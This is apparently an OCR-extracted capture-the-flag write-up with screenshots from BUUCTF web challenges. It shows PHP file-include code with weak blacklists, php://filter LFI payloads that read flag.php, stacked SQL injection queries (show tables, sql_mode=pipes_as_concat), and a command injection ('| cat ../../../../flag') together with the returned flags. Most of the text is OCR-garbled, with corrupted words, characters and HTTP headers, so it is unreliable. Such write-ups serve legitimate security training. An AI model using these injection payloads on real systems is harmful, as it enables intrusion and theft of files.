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<meta charset="utf8">

<?php

error_reporting (0) ;

$file = §_GET["file"];

if(stristr($file, "php://input”) || stristr($file, "zip://”) || stristr($file, “phar://”) || stristr(§file, "data:”)){
exit (" hacker!’):

I3
if($file) {

include ($file) ;
telse{

echo '<a href="?file=flag. php">tips</a>’ ;
}
0
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& Load URL hitp://cfcObid2-181d-4d4 3-bc45-407baafbbe16.node4.buuoj.cn:81/?ile=php:/filter

/read=convert.base64-encode/resource=./flag.php
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<?php
echo "Can vou find out the flag?”:
//flag{d9948c4b—1ch1-40fc—94be—1bf5f24a5c6f}
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Gecko/20100101 Firefox/93.0

Accept:

text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, image/w
ebp, */%;q=0. 8

Accept-Language:

zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK; q=0. 5, en-US;q=0. 3, en;q=0. 2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www—form-urlencoded

Content-Length: 20

Origin: http://37al08ab4-aadd-41cb-aac6-cfcal356dfche. noded. buuoj. cn:81
Connection: close

Referer: http://37a08ab4-aadd-41cbh-aac6-cfca3s6dfche. noded. buuoj. cn:81/
Coockie: UM distinctid=
17be3e027aT373-0092d2de6847he8-4c3e2778-144000-17be3e027a898f ; PHPSESSID
=386e654c9252dad4claf825alde3f824

Upgrade-Insecure-Requests: 1

query=1;show [tables#

E#A tiflag

2 Host: 3Tal08ab4-aadd-41cb-aac6-cfcalbbdfcbe. noded. buuoj. en: 81
3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0)

4 Accept:
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POST / HITP/1.1

Gecko/20100101 Firefox/93.0

text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, inage/w
ebp, */%;q=0. 8

Accept-Language:

zh-CN, zh;g=0. 8, zh-TW;q=0. 7, zh-HK;g=0. 5, en-US;q=0. 3, en;q=0. 2
Accept-Encoding: gzip, deflate

Content-Type: application/x—www—form—urlencoded

Content-Length: 31

Origin: http://37al8abd-aadd-4lcb-aac6-cfca3b6dfcbe. noded. buuoj. cn: 81
Connection: close

Referer: http://37al8ab4-aadd-4lch-aact-cfcal56dfebe. noded. buuoj. cn:81/
Cockie: UM distinctid=
17be2e027a7273-0092d2de6847he8-4c2e2778-144000~-17he32027a898f ; PHPSESSID
=386e654c9252dad4claf825alde3f824

Upgrade-Insecure-Requests: 1

query=1;shod columns from Flag#

Array ([0]==1) Array ( [0] == Flag )

Give me vour flag, T will tell vou if the flag is right
[E=3

Nonono

ZJEE Twp, BEFEMsqiEAAN sql="select”.post[ ‘query’]."||flag from Flag";
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elect *,1||flag from Flag ,f3%lflag
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POST / HTTP/1.1
Host: 37a08ab4-aadd-41cb-aact-cfcalbbdfche. noded. buuoj. en:81

i
P Give me your flag, T will tell vou if the flag is right

User-Agent: Mozilla/5. 0 (Windows NT 10.0; Win64; x64; rv:93.0)

4=

Gecko/20100101 Firefox/93.0

Accept:

text/html, application/xhtml+xml, application/xnl;q=0. 9, inage/avif, inage/w
ebp, #/%;q=0. 8

Accept-Language:
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Array { [0] => flag{db5d3c20-1030-4700-a85b-2b3bb4f174d} [1]=>1)
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6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
% Content-Length: 9
9 Origin: http://37a08abd-aadd-41cb-aac6-cfcal3bbdfche. noded. buuoj. en: 81
0 Connection: close
1 Referer: http://37a08ah4i-aadd—4lch-aac6-cfcaldiedfcle. noded. buuoj. cn:81/
Cookie: UM distinctid=
TaT373-0092d2de6847he8-4c3e2778-144000-17he3e027a898f ; PHPSESSID
54c9252dad4claf825alde3f824
Upgrade-Insecure-Requests: 1

query=#, 1
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set sql_mode=pipes_as_concat
ZEPATHIE AR T

select concat(1,flag) from Flag

query=1;set sgl_mode=pipes_as_concat;select 1
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</html>
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33 EO] = lflag{db5d3020—1030—4700—a85p—2b3bb4felT4d}

0 O =88 @HackBar DiEdE NMsE (asess Que Onr B &k CEss BHs 88 NAERS
+ thov s + @ @ B (I #
align:center; ">BEATERIMALR, SR B—YRIERET! </p> A TR O PR s
<a id="master" href="./Archive room.php" style="background- background-color: @ black; n
color:#080008;height:78px;width:2088px;color:black; left:44%; ¥ TEE
cursor:default;">0h! You found me</a»
<div style="position: absolute;bottom: @;width: 99%;"> = </div> EiE
</body> [ r EET
! </html» v
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HELIMBER, &3 T F7Esecr3t.php
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GET /action. php HITB/1.1 1 HTTP/1.1 302 Found

2 Host: T27eB8%eT-c2ab-4ef3-9a64-2e0270811912. node4. buuoj. cn:81 7 Server: openresty

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) 3 Date: Tue, 02 Nov 2021 10:51:59 GMT
Gecko/20100101 Firefox/93.0 Content-Type: text/html; charset=UTF-8

s

4 Accept: 5 Connection: close
text/html, application/xhtml+xml, application/xml ;q=0. 9, image/avif, image/w 5 Location: end. php
cbp, */%;q=0. 8 7 X-Powered-By: PHP/7T. 3. 11
5 Accept-Language: 5 Content-Length: 63

zh-CN, zh;q=0. 8, 2h-TW;q=0. 7, zh-HK; q=0. 5, en-US;q=0. 3, en;q=0. 2
5 Accept-Encoding: gzip, deflate
Connection: close

10 <!DOCTYPE html>

8 Referer: 12 <html>
http://727e89e7-c3ab-4ef3-9a64-3e0270811912. node4. buuoj. cn:81/Archive ro 1 =
om. php 14 secr3t. php
0 Cookie: UM_distinctid= 15 -->

17be3e027a7373-0092d2de684The8-4c3e2778-144000-17be3e027a898f
Upgrade-Insecure-Requests: 1

16 </html>
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<html>
{title>secret</title>
{meta charset="UTF-8">
<{?php
highlight_file(_ FILE_):
error_reporting(0) ;
§file=§ GET[ file’'];
if (strstr($file, ".. /") | |stristr($file, “tp”)||stristr($file, "input”™) | stristr(§file, "data”)) {
echo “0Oh no!”;
exit();
include ($file) ;
b
</html>
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€ Load URL | hitp://727e89e7-c3a6-4ef3-9ab4-3e0270811912.node4.buuoj.cn:81/secr3t.php?file=php:

Ifilter/read=convert.base64-encode/resource=./flag.php
& split URL
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<|DOCTYPE html>
<html>

<head>
{meta charset="utf-8">
<title>FLAG</title>
¢/head>

<body style="backeground—color:black;”> <br><br><br><br><br><br>

<hl style="font—family:verdana;color:red;text-align:center; >Mirs! (4T T Al 2FAFTRQAQ™ ™ </hl> <br> <br> <hr>
¢p style="font—family:arial:ecolor:red;font—size:20px:text—align:center;”>
<?php
echo "IRE{EIXE",
$flag = ' flag{fdalb326-405e—4e33-b497-1bdebbc2aedT}’ ;
$secret = ' jiAng Luyuan wdnts_a_glrIfri3nd’
%
</p>
</body>

</html>
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192.168.0.105 | Is ../..[../../

PING

bin
dev
etc
flag
home
1lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr

var
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5 Zlflag

192.168.0.105 | cat ../../../../flag|

PING

flag{5fdd4cac-e518-42a9-b440-0c40c2d0c444}
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